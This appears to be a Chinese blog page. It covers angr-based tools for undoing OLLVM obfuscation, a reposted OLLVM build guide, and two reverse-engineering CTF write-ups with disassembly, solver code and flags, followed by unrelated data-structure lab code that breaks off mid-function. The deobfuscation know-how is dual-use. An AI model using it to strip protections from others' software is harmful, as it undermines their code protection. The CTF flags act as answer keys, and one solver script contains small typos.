0%

deflat

introduction

前面谈到了利用ollvm可以对控制流进行混淆、平坦化,有正向必有逆向,有人利用angr模块写出了一个将混乱的控制流进行恢复,转化为可读的正常程序的脚本

setup

angr

angr是一个python模块,需要通过pip安装,然而安装时有可能会破坏原有其他模块的环境,所以angr官方文档提出应当使用虚拟python环境来安装angr。

亲测直接pip install anagr是不起作用的

官方文档可参考:https://docs.angr.io/introductory-errata/install

安装步骤

安装virtualenvwrapper

sudo apt-get install python3-dev libffi-dev build-essential virtualenvwrapper

构建虚拟环境

mkvirtualenv --python=$(which python3) angr && pip install angr

如果系统提示mkvirtualenv : command not found, 参考如下这篇文章进行修复

https://blog.csdn.net/qq_44090577/article/details/90756207

安装好之后,就可以开始正常运行脚本了

deflat.py

clone deflat的相关脚本

git clone https://github.com/mrh929/deflat

usage

deflat

python3 deflat.py [file_name] [start_addr]

0x400660 是函数main()`的地址。

(angr) [email protected]:~/Desktop/deflat/test# python3 deflat.py esay_obfuscation 0x400660
*******************relevant blocks************************
prologue: 0x400660
main_dispatcher: 0x40072a
pre_dispatcher: 0x400926
retn: 0x40091a
relevant_blocks: ['0x4008a3', '0x4008b8', '0x400855', '0x40083d', '0x400868', '0x400909', '0x400820', '0x4008f8', '0x400881', '0x400816']
*******************symbolic execution*********************
-------------------dse 0x4008a3---------------------
-------------------dse 0x4008b8---------------------
CRITICAL | 2019-09-08 08:46:50,813 | angr.sim_state | The name state.se is deprecated; please use state.solver.
-------------------dse 0x400855---------------------
-------------------dse 0x40083d---------------------
-------------------dse 0x400868---------------------
-------------------dse 0x400909---------------------
-------------------dse 0x400820---------------------
-------------------dse 0x4008f8---------------------
-------------------dse 0x400881---------------------
-------------------dse 0x400816---------------------
-------------------dse 0x400660---------------------
************************flow******************************
0x4008a3: ['0x400868']
0x4008b8: ['0x4008f8', '0x400909']
0x400855: ['0x400868']
0x40083d: ['0x40091a']
0x400868: ['0x400881', '0x4008b8']
0x400909: ['0x40091a']
0x400820: ['0x40083d', '0x400855']
0x4008f8: ['0x40091a']
0x400881: ['0x4008a3']
0x400816: ['0x4008a3']
0x400660: ['0x400820']
0x40091a: []
************************patch*****************************
Successful! The recovered file: esay_obfuscation_recovered

原二进制文件(no flat)

image.png

deflat 后的二进制文件

image.png

两者几乎相同

deBogus

Description

利用angr框架去除虚假的控制流,详细内容请参考Deobfuscation: recovering an OLLVM-protected program

原文的主要思路是在进行符号执行时,对约束条件进行”精简”,通过将x * (x + 1) % 2替换为0,使得(y < 10 || x * (x + 1) % 2 == 0)恒成立,从而获取正确的基本块,避免死循环。

在使用angr框架解决该问题时,也可以按照上述思路进行。另外一种思路是直接将xy的值设为0,同样可以使得上面的约束恒成立。在默认条件下,xy的值会被初始化为0,无需手动进行设置。也就是说,可以直接利用符号执行来解决,而不会遇到死循环的问题。

通过符号执行,获取所有执行过的基本块之后,再进行patch去除冗余的基本块即可。

对控制流进行精简后,通过F5查看伪代码,与源码基本一致。另外,可以在此基础上对控制流进行进一步精简,比如去除冗余的指令等。

Usage

0x080483e0是函数target_function()的地址。

(angr-dev) <path>/deflat/bogus_control_flow$ python3 debogus.py ./target_bogus 0x80483e0
*******************symbolic execution*********************
executed blocks: ['0x8048686', '0x804868b', '0x8048991', '0x8048592', '0x8048914', '0x8048715', '0x8048897', '0x8048720', '0x8048725', '0x80484ab', '0x804862c', '0x804842e', '0x80484b6', '0x80484bb', '0x80487bb', '0x80487c0', '0x80486c7', '0x8048950', '0x8048551', '0x80488d3', '0x8048955', '0x8048556', '0x8048856', '0x80489d8', '0x80488d8', '0x804885b', '0x80483e0', '0x80485e0', '0x8048761', '0x80485eb', '0x80485f0', '0x80484f7', '0x80487fc']
************************patch******************************
Successful! The recovered file: ./target_bogus_recovered

OLLVM环境搭建(转)

版权声明:本文为CSDN博主「何胥」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_38244174/article/details/82889725

目前市面上的许多安全公司都会在保护IOS应用程序或安卓APP时都会用到OLLVM技术。譬如说顶象IOS加固、网易IOS加固等等。故而我们今天研究下OLLVM是个什么。将从(1)OLLVM是什么?OLLVM与LLVM的关系;(2)OLLVM的三大功能;(3)OLLVM的配置过程;(4)OLLVM源码分析。(4)OLLVM使用四个方面进行说明。

(一)OLLVM是什么?

OLLVM是一款是由瑞士西北科技大学开发的一套开源的针对LLVM的代码混淆工具,旨在加强逆向的难度,整个项目包含数个包含独立功能的LLVM Pass,每个Pass会对应实现一种特定的混淆方式,这些Pass将在后面进行细说,通过这些Pass可以改变源程序的CFG和源程序的结构。后期转向商业项目strong.protect。Github目前已支持OLLVM-4.0.
与此同时,LLVM与OLLVM最大的区别在于混淆Pass的不同。混淆Pass作用于LLVM的IR中间语言,通过Pass混淆IR,最后后端依据IR生成的目标语言也会得到相应的混淆。得益于LLVM的三段式结构,即前端对代码进行语法分析词法分析形成AST并转换为中间IR语言,一系列优化Pass对IR中间语言进行优化操作,或混淆,或分析,或改变IR的操作码等等。最终在后端解释为相应平台嘚瑟机器码。OLLVM支持LLVM所支持的所有前端语言:C,C++,Objective-C,Fortran等等和LLVM所支持的所有目标平台:x86,x86-64,PowerPC,PowerPC-64, ARM, Thumb, SPARC, Alpha, CellSPU, MIPS, MSP430, SystemZ, 和 XCore。

(二)OLLVM的三大功能

OLLVM有三大功能,分别是:Instructions Substitution(指令替换)Bogus Control Flow(混淆控制流)Control Flow Flattening(控制流平展)

Github上也有OLLVM每个功能详细的介绍和举例:https://github.com/obfuscator-llvm/obfuscator/wiki/Features。操作指令可以是一个或多个参数。

(1)指令替换功能:随机选择一种功能上等效但更复杂的指令序列替换标准二元运算符;适用范围:加法操作、减法操作、布尔操作(与或非操作)且只能为整数类型。

(2)混淆控制流功能:1.在当前基本块之前添加基本块来修改函数调用图。2.原始基本块也被克隆并填充随机选择的垃圾指令。

(3)控制流平展功能:目的是完全展平程序的控制流程图。我自己的理解是if…else变为switch..case..语句。

(三)OLLVM环境搭建:

​ OLLVM版本号:OLLVM 4.0;Ubuntu环境:Ubuntu16.04;虚拟机中处理器数量为4个、运行内存3G,分配硬盘空间50g。

git clone -b llvm-4.0 https://github.com/obfuscator-llvm/obfuscator.git 
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Release ../obfuscator/
make -j7 #多线程,如果make出现问题,可去掉-j7使用单线程编译

​ 若是git clone一直失败,下不下来,尝试:

git config --global http.postBuffer 20000000

​ 若是cmake时一直报错,则将cmake那句替换为:

cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_INCLUDE_TESTS=OFF ../obfuscator/

​ 若是make时时间太长,则重新cmake后,多分配一些内存和处理器。

(四)OLLVM保护命令

指令替换功能:

'/home/mrh929/Desktop/ollvm/build/bin/clang' -emit-llvm test.c -mllvm -sub -S -o testsub.ll

'/home/mrh929/Desktop/ollvm/build/bin/clang' test.c -mllvm -sub -o test

控制流平坦化功能 :

'/home/mrh929/Desktop/ollvm/build/bin/clang' -emit-llvm test.c -mllvm -fla -S -o testfla.ll

'/home/mrh929/Desktop/ollvm/build/bin/clang' test.c -mllvm -fla -o test

混淆控制流功能 :

'/home/mrh929/Desktop/ollvm/build/bin/clang' -emit-llvm test.c -mllvm -bcf -S -o testfla.ll

'/home/mrh929/Desktop/ollvm/build/bin/clang' test.c -mllvm -bcf -o test

flat

flat_bdc004aa1104e443b3b9c90a6b98d5e6.zip

初步阅读f5代码,发现程序是由大量switch语句构成的,其中每个case都套上了很奇怪的数字,不方便静态阅读,所以我采取了动态调试的方式

发现大量诸如以下的语句

00040109E loc_40109E:                             ; CODE XREF: main:loc_4013B3↓j
.text:000000000040109E mov eax, [rbp+var_154]
.text:00000000004010A4 mov ecx, eax
.text:00000000004010A6 sub ecx, 88070986h
.text:00000000004010AC mov [rbp+var_164], eax
.text:00000000004010B2 mov [rbp+var_168], ecx
.text:00000000004010B8 jz loc_401270
.text:00000000004010BE jmp $+5
.text:00000000004010C3 ; ---------------------------------------------------------------------------
.text:00000000004010C3
.text:00000000004010C3 loc_4010C3: ; CODE XREF: main+7E↑j
.text:00000000004010C3 mov eax, [rbp+var_164]
.text:00000000004010C9 sub eax, 916CBF8Ch
.text:00000000004010CE mov [rbp+var_16C], eax
.text:00000000004010D4 jz loc_401382
.text:00000000004010DA jmp $+5

动态调试后可知程序把大量的汇编代码通过这样的方式混淆了,然后再通过操作码来读取对应的功能。

000401270 loc_401270:                             ; CODE XREF: main+78↑j
.text:0000000000401270 lea rdi, [rbp+s]
.text:0000000000401274 mov rax, offset aJ ; "J"
.text:000000000040127E mov ecx, 90h
.text:0000000000401283 mov edx, ecx ; n
.text:0000000000401285 lea rsi, [rbp+dest]
.text:000000000040128C mov [rbp+var_198], rdi
.text:0000000000401293 mov rdi, rsi ; dest
.text:0000000000401296 mov rsi, rax ; src
.text:0000000000401299 call _memcpy
.text:000000000040129E mov rdi, [rbp+var_198] ; char *
.text:00000000004012A5 call _Z10fun_check1Pc ; fun_check1(char *)
.text:00000000004012AA mov ecx, 916CBF8Ch
.text:00000000004012AF mov r8d, 70B25450h
.text:00000000004012B5 test al, 1
.text:00000000004012B7 cmovnz ecx, r8d
.text:00000000004012BB mov [rbp+var_154], ecx
.text:00000000004012C1 jmp loc_4013B3
.text:00000000004012C6 ; ---------------------------------------------------------------------------
.text:00000000004012C6
.text:00000000004012C6 loc_4012C6: ; CODE XREF: main+190↑j
.text:00000000004012C6 lea rdi, [rbp+s] ; char *
.text:00000000004012CA call _Z10fun_check2Pc ; 检测格式
.text:00000000004012CF mov ecx, 916CBF8Ch
.text:00000000004012D4 mov edx, 48DC1E73h
.text:00000000004012D9 test al, 1
.text:00000000004012DB cmovnz ecx, edx
.text:00000000004012DE mov [rbp+var_154], ecx
.text:00000000004012E4 jmp loc_4013B3
.text:00000000004012E9 ; ---------------------------------------------------------------------------
.text:00000000004012E9
.text:00000000004012E9 loc_4012E9: ; CODE XREF: main+174↑j
.text:00000000004012E9 lea rdi, [rbp+s] ; char *
.text:00000000004012ED call _Z10fun_check3Pc ; 限制格式
.text:00000000004012F2 mov ecx, 916CBF8Ch
.text:00000000004012F7 mov edx, 9FDEA8ECh
.text:00000000004012FC test al, 1
.text:00000000004012FE cmovnz ecx, edx
.text:0000000000401301 mov [rbp+var_154], ecx
.text:0000000000401307 jmp loc_4013B3
.text:000000000040130C ; ---------------------------------------------------------------------------
.text:000000000040130C
.text:000000000040130C loc_40130C: ; CODE XREF: main+B0↑j
.text:000000000040130C lea rdi, [rbp+s] ; char *
.text:0000000000401310 call _Z10fun_check4Pc ; 检查格式
.text:0000000000401315 mov ecx, 916CBF8Ch
.text:000000000040131A mov edx, 0CDC4B0D0h
.text:000000000040131F test al, 1
.text:0000000000401321 cmovnz ecx, edx
.text:0000000000401324 mov [rbp+var_154], ecx
.text:000000000040132A jmp loc_4013B3
.text:000000000040132F ; ---------------------------------------------------------------------------
.text:000000000040132F
.text:000000000040132F loc_40132F: ; CODE XREF: main+104↑j
.text:000000000040132F lea rsi, [rbp+dest] ; int *
.text:0000000000401336 lea rdi, [rbp+var_B0] ; char *
.text:000000000040133D call _Z10fun_check5PcPi ; fun_check5(char *,int *)
.text:0000000000401342 mov ecx, 916CBF8Ch
.text:0000000000401347 mov edx, 0F465F43Bh
.text:000000000040134C test al, 1
.text:000000000040134E cmovnz ecx, edx
.text:0000000000401351 mov [rbp+var_154], ecx
.text:0000000000401357 jmp loc_4013B3

check1~5是整个程序的核心部分,其中check1 ~check4都是对flag格式的限制

我们只需要将call checkx 打上断点,在这个call执行完成之后,观察al的值即可判断格式是否符合要求,最终发现flag的格式是flag{},总长度共42.

最重要的是check5函数,其中

.text:0000000000400D90 loc_400D90:                             ; CODE XREF: fun_check5(char *,int *)+E9↑j
.text:0000000000400D90 mov eax, 0B92BF994h
.text:0000000000400D95 mov ecx, 0AC151DE7h
.text:0000000000400D9A mov rdx, [rbp+var_10]
.text:0000000000400D9E movsxd rsi, [rbp+var_E4]
.text:0000000000400DA5 movsx edi, byte ptr [rdx+rsi] ; 读取下一个字符
.text:0000000000400DA9 cmp edi, 30h
.text:0000000000400DAC cmovge eax, ecx
.text:0000000000400DAF mov [rbp+var_E8], eax
.text:0000000000400DB5 jmp loc_40102D
.text:0000000000400DBA ; ---------------------------------------------------------------------------
.text:0000000000400DBA
.text:0000000000400DBA loc_400DBA: ; CODE XREF: fun_check5(char *,int *)+79↑j
.text:0000000000400DBA mov eax, 0B92BF994h
.text:0000000000400DBF mov ecx, 0E37ECC40h
.text:0000000000400DC4 mov rdx, [rbp+var_10]
.text:0000000000400DC8 movsxd rsi, [rbp+var_E4]
.text:0000000000400DCF movsx edi, byte ptr [rdx+rsi]
.text:0000000000400DD3 cmp edi, 39h ; 判断是否为数字
.text:0000000000400DD6 cmovle eax, ecx
.text:0000000000400DD9 mov [rbp+var_E8], eax
.text:0000000000400DDF jmp loc_40102D
.text:0000000000400DE4 ; ---------------------------------------------------------------------------
.text:0000000000400DE4
.text:0000000000400DE4 loc_400DE4: ; CODE XREF: fun_check5(char *,int *)+159↑j
.text:0000000000400DE4 mov rax, [rbp+var_10]
.text:0000000000400DE8 movsxd rcx, [rbp+var_E4]
.text:0000000000400DEF movsx edx, byte ptr [rax+rcx]
.text:0000000000400DF3 sub edx, 1D854A80h
.text:0000000000400DF9 add edx, 11h
.text:0000000000400DFC add edx, 1D854A80h
.text:0000000000400E02 movsxd rax, [rbp+var_E4]
.text:0000000000400E09 mov [rbp+rax*4+var_E0], edx
.text:0000000000400E10 mov [rbp+var_E8], 72D256E3h
.text:0000000000400E1A jmp loc_40102D

如果输入是数字,就将数字转换为对应的大写字母

.text:0000000000400E1F loc_400E1F:                             ; CODE XREF: fun_check5(char *,int *)+B1↑j
.text:0000000000400E1F mov eax, 966647E9h
.text:0000000000400E24 mov ecx, 0BA6BE5FDh
.text:0000000000400E29 mov rdx, [rbp+var_10]
.text:0000000000400E2D movsxd rsi, [rbp+var_E4]
.text:0000000000400E34 movsx edi, byte ptr [rdx+rsi]
.text:0000000000400E38 cmp edi, 2Dh
.text:0000000000400E3B cmovz eax, ecx
.text:0000000000400E3E mov [rbp+var_E8], eax
.text:0000000000400E44 jmp loc_40102D

‘-‘符号不作处理

.text:0000000000400E75 loc_400E75:                             ; CODE XREF: fun_check5(char *,int *)+41↑j
.text:0000000000400E75 mov eax, 67B6BD28h
.text:0000000000400E7A mov ecx, 0B80842FBh
.text:0000000000400E7F mov rdx, [rbp+var_10]
.text:0000000000400E83 movsxd rsi, [rbp+var_E4]
.text:0000000000400E8A movsx edi, byte ptr [rdx+rsi]
.text:0000000000400E8E cmp edi, 61h
.text:0000000000400E91 cmovge eax, ecx
.text:0000000000400E94 mov [rbp+var_E8], eax
.text:0000000000400E9A jmp loc_40102D
.text:0000000000400E9F ; ---------------------------------------------------------------------------
.text:0000000000400E9F
.text:0000000000400E9F loc_400E9F: ; CODE XREF: fun_check5(char *,int *)+95↑j
.text:0000000000400E9F mov eax, 67B6BD28h
.text:0000000000400EA4 mov ecx, 7CFC4F40h
.text:0000000000400EA9 mov rdx, [rbp+var_10]
.text:0000000000400EAD movsxd rsi, [rbp+var_E4]
.text:0000000000400EB4 movsx edi, byte ptr [rdx+rsi]
.text:0000000000400EB8 cmp edi, 7Ah
.text:0000000000400EBB cmovle eax, ecx
.text:0000000000400EBE mov [rbp+var_E8], eax
.text:0000000000400EC4 jmp loc_40102D
.text:0000000000400EC9 ; ---------------------------------------------------------------------------
.text:0000000000400EC9
.text:0000000000400EC9 loc_400EC9: ; CODE XREF: fun_check5(char *,int *)+271↑j
.text:0000000000400EC9 mov rax, [rbp+var_10]
.text:0000000000400ECD movsxd rcx, [rbp+var_E4]
.text:0000000000400ED4 movsx edx, byte ptr [rax+rcx]
.text:0000000000400ED8 sub edx, 50577E63h
.text:0000000000400EDE sub edx, 30h
.text:0000000000400EE1 add edx, 50577E63h
.text:0000000000400EE7 movsxd rax, [rbp+var_E4]
.text:0000000000400EEE mov [rbp+rax*4+var_E0], edx
.text:0000000000400EF5 mov [rbp+var_E8], 67B6BD28h
.text:0000000000400EFF jmp loc_40102D

如果是字母就转换为数字

最后在转换完成的字符串上面下一个内存断点,就可找到这个字符串与目标加密字符串比较的过程

加密字符串:

flag{J2261C63-3I2I-EGE4-IBCC-IE41A5I5F4HB}

解密即可。

en c = "J2261C63-3I2I-EGE4-IBCC-IE41A5I5F4HB"
flag = "flag{"

for c in enc:
if c == '-':
fuck = 0
elif c >= 'A' and c <= 'J':
c = chr(ord(c) - 0x11)
else:
c = chr(ord(c) + 48)
flag = flag + c

flag += '}'
print(flag)

src_leak

src_leak_2886f9ce0464ae67bbeb52d939c9979d.zip

没学过c++语法,看这些东西看蒙了

就大概猜了一下,发现算法流程并不是很复杂

x1~x5都是用一个函数跑出来的

x6用另一个

cout << func3< func2<x1> > << endl;
cout << func3< func2<x2> > << endl;
cout << func3< func2<x3> > << endl;
cout << func3< func2<x4> > << endl;
cout << func3< func2<x5> > << endl;

// output: 1 1 1 1 1


cout << _func1<x1>::result << endl;
cout << _func1<x2>::result << endl;
cout << _func1<x3>::result << endl;
cout << _func1<x4>::result << endl;
cout << _func1<x5>::result << endl;

//output: 963 4396 6666 1999 3141

说几个比较关键的地方

template <bool Flag, class MaybeA, class MaybeB> class IfElse;

template <class MaybeA, class MaybeB>
class IfElse<true, MaybeA, MaybeB> {
public:
using ResultType = MaybeA;
};

template <class MaybeA, class MaybeB>
class IfElse<false, MaybeA, MaybeB> {
public:
using ResultType = MaybeB;

看起来这么大一堆,实际上就表达了一个意思

result = flag ? MaybeA:MaybeB

template <uint N, uint L> struct func1<N, L, L> { enum { result = L }; };

template<>
constexpr size_t func2<0> = 0;

template<uint m>struct TEST<0, m> {
const static uint value = 0;
};

template<uint n>struct TEST<n, 0> {
const static uint value = 1;
};

template<>struct func4<1> {
const static uint value = 0;
};
template<>struct func4<2> {
const static uint value = 1;
};

以上是各个函数的边界条件,一定不能省略,否则跑不出来或者跑出来不对,尤其是func4的1和2

因为c的执行效率比较高,抱着试一试的心态,写了个暴力算法进行求解,在int范围下尝试失败(因为涉及到了数据的平方,int类型会溢出),于是更换为long long 进行求解,虽然效率不高,但还是可以在十秒中左右得出结果。

#include<cstdio>
typedef long long LL;

LL func2(LL n){
if(n==0) return 0;

return n%2 + func2(n/2);
}

LL func3(LL n){
return n%2;
}


LL func1(LL n, LL l, LL r){
if(l==r) return l;
LL mid = (l+r+1)/2;
if(n < mid*mid)
return func1(n,l,mid-1);
else
return func1(n,mid,r);
}

LL _func1(LL n){
return func1(n,1,n);
}

LL nextn(LL n, LL m){
return ((n % m != 0) * n);
}

LL nextm(LL n, LL m){
return (m * m <= n ? (m + 1) : 0);
}

LL test(LL n,LL m){
if(n == 0) return 0;
if(m == 0) return 1;
return test(nextn(n,m) , nextm(n,m));
}

LL func4(LL n){
if(n==1) return 0;
if(n==0) return 1;
return test(n,2);
}

int main(){

/************
x1 ~ x5

//input: 963 4396 6666 1999 3141

// ans = 1927 8792 13332 3998 6282

**********/
LL input[] = {963,4396,6666,1999,3141};
printf("flag{");
for(LL j = 0; j<=4 ; j++){
LL ans = input[j];
for(LL i=0;i<=300000000;i++){
if(func3(func2(i))==1)
if(_func1(i) == ans){
printf("%lld",i);
break;
}
/* if(i % 100000 == 0)
printf("%d finished\n",i);*/
}
printf("-");
}

/************
x6 = 1229


**********/

LL cnt=1;
for(LL i=3;i<=10000;i++)
if(func4(i)==1)
cnt++;
printf("%lld}",cnt);


//flag{927369-19324816-44435556-3996001-9865881-1229}
}

正文

实验报告

exp1

主要学习了一下递归函数的非递归写法

随机生成一棵树写得我很爽

#include<cstdio>
#include<cstdlib>
#include<ctime>
#include<stack>
using namespace std;

int FLAG;
struct BT{
char data;
BT *lch, *rch;
int process;//记录当前递归到左子树还是右子树
};

void Free_BT(BT *rt){
if(rt == NULL) return;
Free_BT(rt->lch);
Free_BT(rt->rch);
free(rt);
}

BT *Generate_BT(int now, int mind, int maxd){//随机生成一棵二叉树
BT *rt = NULL;
if((rand()%10 > 3)&&(now <= maxd) || (now < mind) ){
rt = (BT*) malloc(sizeof(BT));
rt->data = (rand()%26) + 'a';
rt->lch = Generate_BT(now+1, mind, maxd);
rt->rch = Generate_BT(now+1, mind, maxd);
}
return rt;
}

void Print_Manu(){
printf("1.采用二叉链式存储创建二叉树B1\n");
printf("2.采用先序序列化显示输出序列,并存储到文件中\n");
printf("3.从文件中读出序列,并反序列化的递归方法构造二叉树B2\n");
printf("4.从文件中读出序列,并反序列化的非递归方法构造二叉树B3\n");
printf("5.使用非递归的方法输出二叉树的中序遍历序列\n");
printf("6.使用非递归的方法输出二叉树的后序遍历序列\n");
printf("7.销毁释放二叉树B1,B2,B3\n");
printf("0.退出\n\n");
}

void Dot_f(FILE *f){
if(FLAG){
printf(",");
fprintf(f, ",");
}else FLAG = 1;
}

void Dot(){
if(FLAG){
printf(",");
}else FLAG = 1;
}

char Read_node(FILE *f){
char c;
do{
fscanf(f, "%c", &c);
}while(c == ',');
return c;
}

void Pre_Order(BT *rt, FILE *f){//先序遍历显示输出序列
Dot_f(f);
if(rt == NULL){
printf("#");
fprintf(f, "#");
return;
}
printf("%c", rt->data);
fprintf(f, "%c", rt->data);

Pre_Order(rt->lch, f);
Pre_Order(rt->rch, f);

}

BT *Deserialize_RE(FILE *f){//递归反序列化
BT *rt = NULL;
char c = Read_node(f);
if(c == '#') return rt;
rt = (BT*) malloc(sizeof(BT));
rt->data = c;
rt->lch = Deserialize_RE(f);
rt->rch = Deserialize_RE(f);
return rt;
}



BT *Deserialize_NOT(FILE *f){//非递归反序列化
stack<BT*> mystack;
BT *rt = NULL;
BT *ret;
char c = Read_node(f);
if(c == '#') return rt;
rt = (BT*) malloc(sizeof(BT));
rt->process = 1;
rt->data = c;
mystack.push(rt);

while(mystack.empty() == 0){
BT *t = mystack.top();
if(t->process == 0){//验证该结点是否存在
t->data = Read_node(f);
if(t->data == '#'){//结点不存在
free(t);
ret = NULL;
mystack.pop();
continue;
}else{//结点存在
t->process += 1;
continue;
}

}else if(t->process == 1){//左子树
t->lch = (BT*) malloc(sizeof(BT));
mystack.push(t->lch);
t->lch->process = 0;
t->process += 1;
continue;
}else if(t->process == 2){//右子树
t->lch = ret;
t->rch = (BT*) malloc(sizeof(BT));
mystack.push(t->rch);
t->rch->process = 0;
t->process += 1;
continue;
}else{//返回
t->rch = ret;
mystack.pop();
ret = t;
continue;
}
}
return rt;
}

void In_Order(BT *rt){
stack<BT*> mystack;
BT *p;
p = rt;
while(mystack.empty()==0 || p!=NULL){
while(p != NULL){//循环找到最左边的叶子
mystack.push(p);
p = p->lch;
}

Dot();
printf("#,");

if(mystack.empty() == 0){//输出该叶子并且回退,然后找到最邻近的右儿子
p = mystack.top();
mystack.pop();

printf("%c", p->data);
p = p->rch;
}
}
Dot();
printf("#");
}

void Post_Order(BT *rt){
stack<BT*> mystack;
BT *p;
if(rt == NULL){
printf("#");
return;
}

mystack.push(rt);
rt->process = 0;
while(mystack.empty() == 0){
p = mystack.top();
if(p->process == 0){
if(p == NULL){
Dot();
printf("#");
mystack.pop();
continue;
}else{
if(p->lch == NULL){
Dot();
printf("#");
}else{
mystack.push(p->lch);
p->lch->process = 0;
}
p->process += 1;
continue;
}
}else if(p->process == 1){
if(p->rch == NULL){
Dot();
printf("#");
}else{
mystack.push(p->rch);
p->rch->process = 0;
}
p->process += 1;
continue;
}else{
Dot();
printf("%c", p->data);
mystack.pop();
continue;
}
}
}


int main(){
srand(time(NULL));

BT *b1 = NULL;
BT *b2 = NULL;
BT *b3 = NULL;
int Choice;
FILE *f;
Print_Manu();
while(1){
printf("Input your choice:");
scanf("%d", &Choice);
if(!Choice) break;
switch(Choice){

case 1:{
int mind, maxd;
printf("Input the minimum depth:");
scanf("%d", &mind);
printf("Input the maximum depth:");
scanf("%d", &maxd);
if(mind > maxd){
printf("Invalid!\n\n");
continue;
}
Free_BT(b1); //把之前储存的树销毁
b1 = Generate_BT(1, mind, maxd);
printf("Binary tree generated.\n\n");
break;
}
case 2:{
f = fopen("tree.txt", "w");
printf("serialization_pre_order:");
FLAG = 0;
Pre_Order(b1, f);
fclose(f);
printf("\n\n");

break;
}
case 3:{
f = fopen("tree.txt", "r");
b2 = Deserialize_RE(f);
fclose(f);
printf("Succeeded to load in_order tree to b2.\n\n");

break;
}

case 4:{
f = fopen("tree.txt", "r");
b3 = Deserialize_NOT(f);
fclose(f);
printf("Succeeded to load post_order tree to b3.\n\n");

break;
}

case 5:{
printf("serialization_in_order:");
FLAG = 0;
In_Order(b2);
printf("\n\n");
break;
}

case 6:{
printf("serialization_post_order:");
FLAG = 0;
Post_Order(b3);
printf("\n\n");
break;
}

case 7:{
Free_BT(b1);
Free_BT(b2);
Free_BT(b3);
b1 = b2 = b3 = NULL;
printf("Succeeded to free b1,b2,b3!\n\n");

break;
}
}
}
}

exp2

dijkstra算法以及Floyd算法保存最短路径的方法

dijkstra:在每次加入新点到集合中时,把这些点的father记为上一个点,最后一起逆序输出

Floyd:在进行三重循环的时候,如果找到了最短路(i到j中有一个k结点),

那么就把”path(i)(j)”改为”path(i)(k)”,意味着从i到j的最短路上,i的下一个结点是 i到k的最短路上i的下一个结点

这句话好好理解一下(是一种递归定义,无限递归后,最终path(i)(j)就是i到j最短路上i的下一个节点)

参考资料:https://blog.csdn.net/weixin_39956356/article/details/80620667

#include<cstdio>
#include<cstdlib>
#include<ctime>
#include<cstring>
#include<stack>
#include<iostream>
#define MAX 500
#define INF 1e9+7
using namespace std;

int map[MAX+1][MAX+1], n;
int shortest[MAX+1][MAX+1];
int dist[MAX+1],path[MAX+1][MAX+1]; //path数组负责记录从u到v,以u为起点的下一个结点的位置
char name[MAX+1][20];
int fa[MAX+1];//用于在dijkstra里面保存某个结点的前一个结点


void Print_Manu(){
printf("1.Import a map.(and store it in the disk)\n");
printf("2.Calculate the shortest distance from a to b.\n");
printf("3.Calculate the shortest route of all.(and store it in the disk)\n");
printf("4.import the map from disk and output the shortest route between two locations.\n");
printf("0.Quit.\n");
}

void Input_Map(int n){
printf("input names:\n");
for(int i = 1; i <= n; i++){
printf("No.%d:", i);
scanf("%s", name[i]);
}

for(int i = 1; i <= n; i++)
for(int j = 1; j <= n; j++)
map[i][j] = INF;

for(int i = 1; i <= n; i++){
for(int j = i+1; j <= n; j++){
int t;
printf("From %s to %s (-1 stands for infinite):", name[i], name[j]);
scanf("%d",&t);
if(t == -1) continue;//距离无限远
map[i][j] = map[j][i] = t;
}
map[i][i] = 0;
}
}

int Search_Id(char str[]){
for(int i = 1; i <= n; i++)
if(strcmp(name[i], str)==0)
return i;
return -1;
}

int Dijkstra(int s, int t){
for(int i = 1; i <= n; i++)
map[i][i] = 0;//要把所有的结点首先剔除S集合
map[s][s] = 1;


for(int i = 1; i <= n; i++){//将s的邻接点加入dist
dist[i] = INF;
fa[i] = i;
if(map[s][i] < INF){
dist[i] = map[s][i];
fa[i] = s;
}
}

for(int i = 1; i <= n-1; i++){//循环n-1次
int MIN = INF, u = 0;
for(int j = 1; j <= n; j++){//在剩下的点中找一个与S集合邻接的,距离s点最短的点
if(map[j][j] == 0 && dist[j]<MIN){
u = j;
MIN = dist[j];
}
}
map[u][u] = 1;//加入这个点到S集合中
for(int j = 1; j <= n; j++)
if(map[j][j] == 0)//找到了u点,接下来把与u点邻接的所有边更新一下
if(map[u][j] < INF && dist[u] + map[u][j] < dist[j]){
dist[j] = dist[u] + map[u][j];
fa[j] = u;//把j的父亲设为u
}

}

return dist[t];//返回距离
}

void Floyd(){
for(int i = 1; i <= n; i++)
for(int j = 1; j <= n; j++)
path[i][j] = j;//初始化path数组
memcpy(shortest, map, sizeof(map));
for(int k = 1; k <= n; k++)
for(int i = 1; i <= n; i++)
for(int j = 1; j <= n; j++)
if(shortest[i][j] > shortest[i][k] + shortest[k][j]){
shortest[i][j] = shortest[i][k] + shortest[k][j];
path[i][j] = path[i][k];//代表i到j的路径上,i的下一个结点为k
//重要 这段代码值得好好理解
}
}

int main(){
Print_Manu();
int Choice;
FILE *f;

do{
printf("\n\ninput optcode:");
scanf("%d", &Choice);
switch(Choice){
case 1:{
printf("\ninput n:");
scanf("%d", &n);
Input_Map(n);
printf("Succeeded to import a map!\n\n");
break;
}
case 2:{
printf("input two names(separate with a space):\n");
char name1[20], name2[20];
int s, t;
scanf("%s%s", name1, name2);
s = Search_Id(name1);
t = Search_Id(name2);

if(s < 0 || t < 0)
printf("Invalid name!\n");
else{
int res = Dijkstra(s, t);
printf("The shortest distance is %d\n", res);
if(res == INF)
printf("which means no path.\n");
else{
printf("path: ");
int k = t;
stack <int> mystack;
while(k != s){
mystack.push(k);
k = fa[k];
}

printf("%s ", name[s]);
while(mystack.empty() != 1){
printf("-> %s ", name[mystack.top()]);
mystack.pop();
}
printf("\n");
}
}


break;
}

case 3:{
f = fopen("AllPath.dat", "w");
Floyd();
printf("All the shortest distance:\n");

fprintf(f, "%d\n", n);
for(int i = 1; i <= n; i++)
fprintf(f, "%s ", name[i]);
fprintf(f, "\n");

for(int i = 1; i <= n; i++)
for(int j = i+1; j <= n; j++){
printf("from %s to %s: %d\n", name[i], name[j], shortest[i][j]);
fprintf(f, "%s %s %d\n", name[i], name[j], shortest[i][j]);
if(shortest[i][j] == INF)//没有路径
printf("which means no path.\n");
else{
printf("path: ");
int k = i;
while(k != j){
printf(" %s ->", name[k]);
k = path[k][j];
}
printf(" %s\n",name[j]);
}
}

//以下是记录两个节点的最短路径与之间的距离
for(int i = 1; i <= n; i++){
for(int j = 1; j <= n; j++)
fprintf(f, "%d ", map[i][j]);
fprintf(f, "\n");
